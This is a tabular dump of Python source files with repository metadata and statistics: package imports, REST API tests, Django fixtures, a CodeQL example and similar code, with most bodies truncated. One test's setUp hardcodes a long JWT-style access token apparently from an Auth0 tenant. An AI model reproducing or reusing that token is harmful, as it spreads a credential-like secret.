| 11.181818 | 25 | 0.617886 | 16 | 123 | 4.6875 | 0.4375 | 0.44 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.252033 | 123 | 10 | 26 | 12.3 | 0.815217 | 0 | 0 | 0 | 0 | 0 | 0.276423 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
0d6cd3bfdd823dc4e62de1fd8d9abab209c0c4bc | 345 | py | Python | dataset/__init__.py | DePengW/PSENet | 72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119 | [
"Apache-2.0"
] | null | null | null | dataset/__init__.py | DePengW/PSENet | 72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119 | [
"Apache-2.0"
] | 1 | 2020-05-18T09:31:09.000Z | 2020-05-20T07:23:51.000Z | dataset/__init__.py | DePengW/PSENet | 72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119 | [
"Apache-2.0"
] | null | null | null | from dataset.icdar2015_loader import IC15Loader
from dataset.icdar2015_test_loader import IC15TestLoader
from dataset.ctw1500_loader import CTW1500Loader
from dataset.ctw1500_test_loader import CTW1500TestLoader
#add for keypoints
from dataset.icdar2015_loader_Wdp import IC15LoaderWdp
from dataset.ctw1500_loader_Wdp ... | 31.363636 | 57 | 0.892754 | 43 | 345 | 6.930233 | 0.395349 | 0.221477 | 0.201342 | 0.174497 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 0.086957 | 345 | 10 | 58 | 34.5 | 0.812698 | 0.049275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0d8b85657ff6c57d4f92b4c6c4a78193f62067c3 | 180 | py | Python | python/ql/src/Exceptions/RaisingTuple2.py | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 4,036 | 2020-04-29T00:09:57.000Z | 2022-03-31T14:16:38.000Z | python/ql/src/Exceptions/RaisingTuple2.py | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 2,970 | 2020-04-28T17:24:18.000Z | 2022-03-31T22:40:46.000Z | python/ql/src/Exceptions/RaisingTuple2.py | ScriptBox99/github-codeql | 2ecf0d3264db8fb4904b2056964da469372a235c | [
"MIT"
] | 794 | 2020-04-29T00:28:25.000Z | 2022-03-30T08:21:46.000Z |
def fixed_raise_tuple1():
ex = Exception("Important diagnostic information")
raise ex
def fixed_raise_tuple2():
raise Exception, "Important diagnostic information"
| 18 | 55 | 0.744444 | 20 | 180 | 6.5 | 0.5 | 0.123077 | 0.2 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013514 | 0.177778 | 180 | 9 | 56 | 20 | 0.864865 | 0 | 0 | 0 | 0 | 0 | 0.359551 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.4 | null | null | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0d8c2eec72d91c2da5f9f286644be9c96cb8db9e | 155 | py | Python | NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py | Alejandro-sin/Learning_Notebooks | 161d6bed4c7b1d171b45f61c0cc6fa91e9894aad | [
"MIT"
] | 1 | 2021-02-26T13:12:22.000Z | 2021-02-26T13:12:22.000Z | NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py | Alejandro-sin/Learning_Notebooks | 161d6bed4c7b1d171b45f61c0cc6fa91e9894aad | [
"MIT"
] | null | null | null | NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py | Alejandro-sin/Learning_Notebooks | 161d6bed4c7b1d171b45f61c0cc6fa91e9894aad | [
"MIT"
] | null | null | null | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, BooleanField
from wtforms.validators import DataRequired
| 31 | 74 | 0.845161 | 17 | 155 | 7.647059 | 0.705882 | 0.169231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 155 | 4 | 75 | 38.75 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
0db0a94524bc9670053e7701f3ff0215408bcb2e | 45 | py | Python | monolayout/__init__.py | tanaydw/monolayout | 8503ac2f501b2df95e62cbd9a5c4fb8027738b28 | [
"MIT"
] | 136 | 2020-02-21T03:22:19.000Z | 2022-03-31T02:24:58.000Z | monolayout/__init__.py | tanaydw/monolayout | 8503ac2f501b2df95e62cbd9a5c4fb8027738b28 | [
"MIT"
] | 18 | 2020-05-04T02:33:03.000Z | 2022-03-19T08:07:26.000Z | monolayout/__init__.py | tanaydw/monolayout | 8503ac2f501b2df95e62cbd9a5c4fb8027738b28 | [
"MIT"
] | 26 | 2020-02-21T10:38:59.000Z | 2022-02-16T08:12:46.000Z | from .datasets import *
from .model import *
| 15 | 23 | 0.733333 | 6 | 45 | 5.5 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177778 | 45 | 2 | 24 | 22.5 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0ddfa7c7919ae63b641aa7769e74f663db549c6e | 89 | py | Python | lidar_det/pipeline/__init__.py | VisualComputingInstitute/Person_MinkUNet | fa39764245a022740c0a3d8c85026532fff93e74 | [
"MIT"
] | 4 | 2021-10-15T13:40:48.000Z | 2022-03-07T06:24:07.000Z | lidar_det/pipeline/__init__.py | VisualComputingInstitute/Person_MinkUNet | fa39764245a022740c0a3d8c85026532fff93e74 | [
"MIT"
] | 2 | 2022-01-29T23:54:01.000Z | 2022-02-14T21:00:57.000Z | lidar_det/pipeline/__init__.py | VisualComputingInstitute/Person_MinkUNet | fa39764245a022740c0a3d8c85026532fff93e74 | [
"MIT"
] | 2 | 2021-10-20T13:44:24.000Z | 2022-01-30T00:13:58.000Z | from .pipeline import *
from .logger import *
from .optim import *
from .trainer import * | 22.25 | 23 | 0.741573 | 12 | 89 | 5.5 | 0.5 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168539 | 89 | 4 | 24 | 22.25 | 0.891892 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
21cfcb9f9f0a1aead979cfedc90de9123c9630b8 | 23,604 | py | Python | rest_api/tests/unit/test_block_requests.py | ltavag/sawtooth-core | 50659f23437b27ecd666d4cf129f812e6adaedc4 | [
"Apache-2.0"
] | 2 | 2018-09-27T04:43:33.000Z | 2019-10-23T14:32:31.000Z | rest_api/tests/unit/test_block_requests.py | ltavag/sawtooth-core | 50659f23437b27ecd666d4cf129f812e6adaedc4 | [
"Apache-2.0"
] | 10 | 2020-05-12T06:58:15.000Z | 2022-02-26T23:59:35.000Z | rest_api/tests/unit/test_block_requests.py | ltavag/sawtooth-core | 50659f23437b27ecd666d4cf129f812e6adaedc4 | [
"Apache-2.0"
] | 4 | 2018-06-13T16:28:26.000Z | 2018-06-13T16:47:22.000Z | # Copyright 2017 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... | 40.979167 | 80 | 0.636714 | 3,320 | 23,604 | 4.30753 | 0.065964 | 0.015104 | 0.043633 | 0.060415 | 0.87889 | 0.847283 | 0.805958 | 0.769107 | 0.733515 | 0.703937 | 0 | 0.023561 | 0.280758 | 23,604 | 575 | 81 | 41.050435 | 0.818814 | 0.029698 | 0 | 0.515021 | 0 | 0 | 0.071824 | 0.045063 | 0 | 0 | 0.008785 | 0 | 0.377682 | 1 | 0 | false | 0 | 0.017167 | 0 | 0.034335 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
df05100efc98c8f5eb5d9059cf49c1fef77bc7fc | 921 | py | Python | test/test_voice_control_loop.py | TimKam/crazyflie-on-voice | fca6c0ba9aed38a133d708410ff0040b85701dd0 | [
"MIT"
] | 4 | 2018-05-21T12:18:04.000Z | 2021-02-27T14:15:12.000Z | test/test_voice_control_loop.py | TimKam/crazyflie-on-voice | fca6c0ba9aed38a133d708410ff0040b85701dd0 | [
"MIT"
] | null | null | null | test/test_voice_control_loop.py | TimKam/crazyflie-on-voice | fca6c0ba9aed38a133d708410ff0040b85701dd0 | [
"MIT"
] | null | null | null | from src.voice_control_loop import generate_protocol_data, get_best_direction_match
def test_generate_protocol_data():
assert generate_protocol_data('stop', None) == {'command': 'stop'}
assert generate_protocol_data('start', None) == {'command': 'start'}
assert generate_protocol_data('up', 100) == {'dista... | 41.863636 | 83 | 0.684039 | 126 | 921 | 4.690476 | 0.333333 | 0.270728 | 0.338409 | 0.351946 | 0.277496 | 0.094755 | 0 | 0 | 0 | 0 | 0 | 0.045627 | 0.143322 | 921 | 21 | 84 | 43.857143 | 0.703422 | 0 | 0 | 0 | 1 | 0 | 0.138344 | 0 | 0 | 0 | 0 | 0 | 0.785714 | 1 | 0.142857 | true | 0 | 0.071429 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
df0550b3b32e55d65dd2507e15841fb002eb558d | 38 | py | Python | pointneighbor/neighbor/coo3/__init__.py | AkihideHayashi/pointneighbor | 7edc7eda753b0fe23ceae2c1b8e42ae021c7b934 | [
"MIT"
] | null | null | null | pointneighbor/neighbor/coo3/__init__.py | AkihideHayashi/pointneighbor | 7edc7eda753b0fe23ceae2c1b8e42ae021c7b934 | [
"MIT"
] | null | null | null | pointneighbor/neighbor/coo3/__init__.py | AkihideHayashi/pointneighbor | 7edc7eda753b0fe23ceae2c1b8e42ae021c7b934 | [
"MIT"
] | null | null | null | # flake8: noqa
from .coo3 import coo3
| 12.666667 | 22 | 0.736842 | 6 | 38 | 4.666667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096774 | 0.184211 | 38 | 2 | 23 | 19 | 0.806452 | 0.315789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
df14a0e78f04ccb3ab78baf9e609d81e2d85061c | 4,980 | py | Python | custom-universal-login/tests/scripts/commmands/helper.py | willianantunes/auth0-custom-universal-login-with-sample-app | 860a404ca61968aed1a0d1f402891ba19291d8c7 | [
"MIT"
] | null | null | null | custom-universal-login/tests/scripts/commmands/helper.py | willianantunes/auth0-custom-universal-login-with-sample-app | 860a404ca61968aed1a0d1f402891ba19291d8c7 | [
"MIT"
] | null | null | null | custom-universal-login/tests/scripts/commmands/helper.py | willianantunes/auth0-custom-universal-login-with-sample-app | 860a404ca61968aed1a0d1f402891ba19291d8c7 | [
"MIT"
] | null | null | null | import unittest
import boto3
from scripts.commands import settings
class BaseTestCase(unittest.TestCase):
def setUp(self) -> None:
self.fake_access_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImZhWVp3X0NFSTBJUnotU2FHOWJoaSJ9.eyJpc3MiOiJodHRwczovL2FudHVuZXMudXMuYXV0aDAuY29tLyIsInN1YiI6IndOSWlpZ0... | 191.538462 | 4,247 | 0.947791 | 104 | 4,980 | 45.048077 | 0.480769 | 0.010672 | 0.008965 | 0.009819 | 0.013234 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123903 | 0.038956 | 4,980 | 25 | 4,248 | 199.2 | 0.854994 | 0 | 0 | 0 | 0 | 0 | 0.846185 | 0.845783 | 0 | 1 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.15 | 0 | 0.3 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
df243c03a79b9deaeb275d4ec60408948cec7810 | 35 | py | Python | createOnnx/__init__.py | tangyanf/createonnxmodel | 0697d50a999729decb02bafa3319a7813065b290 | [
"Apache-2.0"
] | null | null | null | createOnnx/__init__.py | tangyanf/createonnxmodel | 0697d50a999729decb02bafa3319a7813065b290 | [
"Apache-2.0"
] | null | null | null | createOnnx/__init__.py | tangyanf/createonnxmodel | 0697d50a999729decb02bafa3319a7813065b290 | [
"Apache-2.0"
] | null | null | null | from createOnnx import convertTool
| 17.5 | 34 | 0.885714 | 4 | 35 | 7.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
df383776ed202e007c3df0fac320bca49b5ce9e5 | 22 | py | Python | cdshealpix/ring/__init__.py | cds-astro/cds-healpix-python | bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb | [
"BSD-3-Clause"
] | 3 | 2019-01-30T13:34:51.000Z | 2020-11-11T07:31:12.000Z | cdshealpix/ring/__init__.py | cds-astro/cds-healpix-python | bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb | [
"BSD-3-Clause"
] | 9 | 2019-07-04T08:09:47.000Z | 2021-03-10T16:51:18.000Z | cdshealpix/ring/__init__.py | cds-astro/cds-healpix-python | bc02f2e7ccad1d55f3a5e4caac689d8cc29eadeb | [
"BSD-3-Clause"
] | 1 | 2019-07-04T11:23:20.000Z | 2019-07-04T11:23:20.000Z | from .healpix import * | 22 | 22 | 0.772727 | 3 | 22 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 22 | 1 | 22 | 22 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
df5dccbf385ce34fa5322e12bf25ca10a8a8bd7d | 12,445 | py | Python | mayan/apps/documents/tests/test_document_api.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 4 | 2021-09-02T00:16:30.000Z | 2021-09-09T22:25:15.000Z | mayan/apps/documents/tests/test_document_api.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 86 | 2021-09-01T23:53:02.000Z | 2021-09-20T02:25:10.000Z | mayan/apps/documents/tests/test_document_api.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 70 | 2021-09-01T12:54:51.000Z | 2022-02-16T00:53:18.000Z | from rest_framework import status
from mayan.apps.rest_api.tests.base import BaseAPITestCase
from ..events import (
event_document_created, event_document_edited,
event_document_file_created, event_document_file_edited,
event_document_type_changed, event_document_version_created,
event_document_versio... | 33.910082 | 78 | 0.696906 | 1,460 | 12,445 | 5.544521 | 0.080822 | 0.143792 | 0.108709 | 0.054355 | 0.849537 | 0.826683 | 0.813959 | 0.77517 | 0.722298 | 0.70315 | 0 | 0.015094 | 0.217437 | 12,445 | 366 | 79 | 34.002732 | 0.8161 | 0.018321 | 0 | 0.613027 | 0 | 0 | 0.007945 | 0.005242 | 0 | 0 | 0 | 0 | 0.329502 | 1 | 0.05364 | false | 0 | 0.030651 | 0 | 0.091954 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3398c099839be6baa3df4d20f124ccf0593667ce | 1,820 | py | Python | asysocks/common/aiowrappers.py | thesamesam/asysocks | 06293c3a7bca35be522089d18f9031df078ba43e | [
"MIT"
] | 14 | 2020-02-28T02:47:56.000Z | 2022-03-05T15:38:41.000Z | asysocks/common/aiowrappers.py | thesamesam/asysocks | 06293c3a7bca35be522089d18f9031df078ba43e | [
"MIT"
] | null | null | null | asysocks/common/aiowrappers.py | thesamesam/asysocks | 06293c3a7bca35be522089d18f9031df078ba43e | [
"MIT"
] | 2 | 2020-09-30T06:20:23.000Z | 2022-03-05T11:32:22.000Z | import asyncio
async def readexactly_or_exc(reader, n, timeout = None):
"""
Helper function to read exactly N amount of data from the wire.
:param reader: The reader object
:type reader: asyncio.StreamReader
:param n: The maximum amount of bytes to read.
:type n: int
:param timeout: Time in seconds to wait for ... | 33.090909 | 121 | 0.734066 | 287 | 1,820 | 4.61324 | 0.212544 | 0.033988 | 0.024924 | 0.040786 | 0.901057 | 0.901057 | 0.901057 | 0.876888 | 0.876888 | 0.876888 | 0 | 0.005948 | 0.168681 | 1,820 | 55 | 122 | 33.090909 | 0.869134 | 0 | 0 | 0.631579 | 0 | 0 | 0.002604 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.052632 | 0 | 0.210526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
33e7ebf893411a52408d7ad03b6b61a8366ed0ef | 248 | py | Python | spec/fixtures/with_focus.py | kfischer-okarin/mamba | 0a2c83e2e9b1fc06aa6165519bc2c8de418e906b | [
"MIT"
] | 462 | 2015-01-02T19:59:33.000Z | 2022-03-12T09:47:17.000Z | spec/fixtures/with_focus.py | kfischer-okarin/mamba | 0a2c83e2e9b1fc06aa6165519bc2c8de418e906b | [
"MIT"
] | 93 | 2015-01-31T13:18:47.000Z | 2021-05-06T18:32:42.000Z | spec/fixtures/with_focus.py | kfischer-okarin/mamba | 0a2c83e2e9b1fc06aa6165519bc2c8de418e906b | [
"MIT"
] | 66 | 2015-04-24T14:12:13.000Z | 2022-03-01T16:52:51.000Z | from mamba import description, it
with description('Fixture#with_tags', 'integration'):
with fit('first example', 'unit'):
pass
with fdescription('Fixture#with_tags', 'integration'):
with it('first example', 'unit'):
pass
| 24.8 | 54 | 0.669355 | 29 | 248 | 5.655172 | 0.517241 | 0.134146 | 0.182927 | 0.317073 | 0.365854 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.189516 | 248 | 9 | 55 | 27.555556 | 0.81592 | 0 | 0 | 0.285714 | 0 | 0 | 0.362903 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.285714 | 0.142857 | 0 | 0.142857 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
1d4f8855fd7be17ff670b12a693bf0121d48fa52 | 95,735 | py | Python | backend/benefit/companies/tests/data/company_data.py | City-of-Helsinki/kesaseteli | 964f801c2dba72c4105b6e436b12b821b199d6d2 | [
"MIT"
] | 2 | 2021-05-10T09:28:35.000Z | 2021-05-17T12:15:34.000Z | backend/benefit/companies/tests/data/company_data.py | City-of-Helsinki/yjdh | 1c07576b456d2be9c3171363450ed46de2c1bbcb | [
"MIT"
] | 931 | 2021-05-21T15:24:35.000Z | 2022-03-31T20:07:40.000Z | backend/benefit/companies/tests/data/company_data.py | City-of-Helsinki/yjdh | 1c07576b456d2be9c3171363450ed46de2c1bbcb | [
"MIT"
] | 6 | 2021-07-06T11:07:02.000Z | 2022-02-07T12:42:21.000Z | from django.conf import settings
def get_dummy_company_data():
dummy_data = DUMMY_COMPANY_DATA.copy()
if hasattr(settings, "DUMMY_COMPANY_FORM") and settings.DUMMY_COMPANY_FORM:
dummy_data["company_form"] = settings.DUMMY_COMPANY_FORM
return dummy_data
DUMMY_COMPANY_DATA = {
"id": "8c0c7a56-... | 42.892025 | 110 | 0.248791 | 3,674 | 95,735 | 6.468699 | 0.113772 | 0.074981 | 0.149962 | 0.08407 | 0.834343 | 0.786249 | 0.768282 | 0.71577 | 0.688841 | 0.664731 | 0 | 0.071775 | 0.649125 | 95,735 | 2,231 | 111 | 42.911251 | 0.635736 | 0 | 0 | 0.575416 | 0 | 0 | 0.247924 | 0.022259 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00045 | false | 0 | 0.00045 | 0 | 0.001351 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d55c6d00cf10eb78d5a12e35013ae263944c74d6 | 27 | py | Python | examples/__init__.py | wells01440/hfcu | c79593d3146d8a010fc89394d2412a12c29481d0 | [
"Apache-2.0"
] | null | null | null | examples/__init__.py | wells01440/hfcu | c79593d3146d8a010fc89394d2412a12c29481d0 | [
"Apache-2.0"
] | null | null | null | examples/__init__.py | wells01440/hfcu | c79593d3146d8a010fc89394d2412a12c29481d0 | [
"Apache-2.0"
] | null | null | null | from . import simple_module | 27 | 27 | 0.851852 | 4 | 27 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 27 | 1 | 27 | 27 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
6341195b8bc2b97f7a96eb263d93443107582c5d | 116 | py | Python | taghaza/views.py | mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company | da071bd199a92d571228a1d823a7fa1f52275604 | [
"MIT"
] | 30 | 2019-08-18T14:57:39.000Z | 2022-03-15T22:09:09.000Z | taghaza/views.py | mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company | da071bd199a92d571228a1d823a7fa1f52275604 | [
"MIT"
] | 3 | 2021-03-19T00:46:32.000Z | 2021-09-22T01:29:08.000Z | taghaza/views.py | mablue/Specialized-Procurement-and-Sales-Management-System-for-East-Azarbaijan-Gas-Company | da071bd199a92d571228a1d823a7fa1f52275604 | [
"MIT"
] | 7 | 2019-08-20T14:04:28.000Z | 2021-06-29T06:43:08.000Z | from django.shortcuts import render
def report(request):
return render(request, 'reports/TaghazaReport.html')
| 19.333333 | 56 | 0.775862 | 14 | 116 | 6.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12931 | 116 | 5 | 57 | 23.2 | 0.891089 | 0 | 0 | 0 | 0 | 0 | 0.224138 | 0.224138 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
635da60941b1c2c0ca065f58b1fed58ddddb6f40 | 223 | py | Python | app/web/__init__.py | fzk466569/flask_fishbook | 9d7e7af46d86457c0a83fabb8bc9b028b0e4880d | [
"Apache-2.0"
] | null | null | null | app/web/__init__.py | fzk466569/flask_fishbook | 9d7e7af46d86457c0a83fabb8bc9b028b0e4880d | [
"Apache-2.0"
] | null | null | null | app/web/__init__.py | fzk466569/flask_fishbook | 9d7e7af46d86457c0a83fabb8bc9b028b0e4880d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: fzk
# @Time 10:59
from app.web import book
from app.web import drift
from app.web import auth
from app.web import gift
from app.web import wish
from app.web import main
| 18.583333 | 25 | 0.717489 | 41 | 223 | 3.902439 | 0.512195 | 0.2625 | 0.375 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027027 | 0.170404 | 223 | 11 | 26 | 20.272727 | 0.837838 | 0.282511 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
891e642c52110235e881ad595680ff3ddbebcf91 | 94 | py | Python | src/controller/__init__.py | wiktorowski211/Fruit-Viking | d45c35a56425c4d42a2ee59586bd559037cf07db | [
"MIT"
